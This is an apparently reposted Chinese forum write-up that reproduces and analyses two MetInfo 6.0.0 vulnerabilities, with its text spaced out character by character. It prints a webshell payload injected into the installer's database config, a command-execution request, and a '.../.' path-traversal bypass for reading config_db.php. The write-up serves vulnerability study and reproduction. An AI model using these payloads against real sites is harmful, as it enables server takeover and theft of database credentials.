搜索

[2052] 2021-01-26_MetInfo6.0.0任意文件读取代码执行漏洞分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2021-01-26_MetInfo6.0.0任意文件读取代码执行漏洞分析 ​ M e t I n f o   6 . 0 . 0   任 意 文 件 读 取 / 代 码 执 行 漏 洞 分 析 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 1 - 2 6 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 0 x 0 1   漏 洞 简 介                 M e t I n f o 是 一 套 使 用 P H P 和 M y s q l 开 发 的 内 容 管 理 系 统 。 但 是 在 M e t I n f o   6 . 0 . 0 版 本 存 在 任 意 文 件 读 取 和 任 意 代 码 执 行 漏 洞 。                 代 码 执 行 ( C V E - 2 0 1 8 - 1 2 5 3 1 ) ： 在 安 装 过 程 中 没 有 对 输 入 进 行 过 滤 ， 导 致 任 意 代 码 执 行 ， 执 行 w e b s h e l l 。                 文 件 读 取 ： o l d _ t h u m b . c l a s s . p h p 文 件 存 在 任 意 文 件 读 取 漏 洞 。 攻 击 者 可 利 用 漏 洞 读 取 网 站 上 的 敏 感 文 件 。 0 x 0 2   漏 洞 复 现 代 码 执 行 代 码 执 行 环 境 ： p h p s t u d y   p r o p h p   5 . 3 . 2 9 M e t I n f o   6 . 0 . 0 源 码 下 载 ： 在 填 写 数 据 库 配 置 信 息 时 插 入 p a y l o a d h t t p : / / w w w . m e t i n f o . c n / u p l o a d / f i l e / M e t I n f o 6 . 0 . 0 . z i p * / @ s y s t e m ( $ _ R E Q U E S T [ d o n 9 s e c ] ) ; / *
忽 略 报 错 ， 只 要 能 成 功 修 改 配 置 文 件 内 容 即 可 ： 前 去 验 证 一 下 ： 如 图 ， 数 据 库 配 置 文 件 已 被 成 功 修 改 ， p a y l o a d 也 已 经 成 功 插 入 ： 执 行 命 令 i p c o n f i g 如 图 ， 已 成 功 执 行 i p c o n g ： c a t   c o n f i g c o n f i g _ d b . p h p #   路 径 为 / c o n f i g / c o n f i g _ d b . p h p ? d o n 9 s e c = / c o n f i g / c o n f i g _ d b . p h p ? d o n 9 s e c = i p c o n f i g
文 件 读 取 文 件 读 取 环 境 ： p h p s t u d y   p r o p h p   5 . 3 . 2 9 如 图 ， 环 境 成 功 搭 建 ： 读 取 文 件 c o n f i g _ d b . p h p : ? d i r = . . . / . / h t t p / . . . / . / c o n f i g / c o n f i g _ d b . p h p
竟 然 复 现 失 败 ！ ！ ！ 估 计 又 是 因 为 文 件 权 限 ， 只 好 点 到 为 止 ( 偷 图 ) ： 0 x 0 3   漏 洞 分 析 代 代 码 执 行 码 执 行 p a y l o a d : 插 入 之 后 ： p a y l o a d 携 带 的 和 刚 好 把 前 面 和 后 面 的 / * 和 闭 合 ， 剩 下 中 间 的 一 句 话 ， 自 然 就 可 以 执 行 代 码 了 。 文 件 读 取 文 件 读 取 首 先 观 察 p a y l o a d : * / @ s y s t e m ( $ _ R E Q U E S T [ d o n 9 s e c ] ) ; / * * / / * * /
切 入 点 ： 全 局 定 位 字 符 串 ： 挨 个 看 ， 发 现 在 o l d _ t h u m b . c l a s s . p h p 文 件 下 的 $ d i r 参 数 满 足 漏 洞 构 想 跟 进 该 文 件 ： 参 数 ： $ d i r 文 件 ： i n c l u d e / t h u m b . p h p #   $ d i r C t r l   +   S h i f t   +   F
分 析 参 数 ： $ d i r 传 参 方 式 ： G E T 是 否 过 滤 ： 将 . . / 置 空 b y p a s s 利 用 点 ： r e a d f i l e 函 数 ， 可 读 取 文 件 调 用 前 提 ： 进 入 i f 判 断 进 入 前 提 ： s t r s t r ( )   : 判 断 $ d i r 中 h t t p 字 符 串 的 首 次 出 现 位 置 ， 换 句 话 说 也 就 是 $ d i r 中 必 须 含 有 h t t p 字 符 串 。 即 p a y l o a d 形 式 大 致 如 下 现 在 需 要 找 到 有 调 用 o l d _ t h u m b . c l a s s . p h p 的 文 件 ： #   无 法 使 用 . . / 进 行 目 录 穿 越 ， 但 可 以 使 用 . . . / . /   进 行 绕 过 . . . / . /   -   . . /   =   . . /   #   #   x 表 示 文 件 路 径 ? d i r = . . . / . / h t t p / . . . / . / x x x #   o l d _ t h u m b C t r l   +   S h i f t   +   F
到 此 ， 完 整 的 利 用 链 就 构 造 出 来 了 ： 通 过 i n c l u d e / t h u m b . p h p 进 入 到 o l d _ t h u m b . c l a s s . p h p 然 后 经 过 层 层 b y p a s s 后 的 参 数 $ d i r 构 造 目 标 文 件 路 径 即 可 最 终 的 p a y l o a d 如 下 ： 参 考 ? d i r = . . . / . / h t t p / . . . / . / c o n f i g / c o n f i g _ d b . p h p h t t p s : / / c a i q i q i . g i t h u b . i o /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理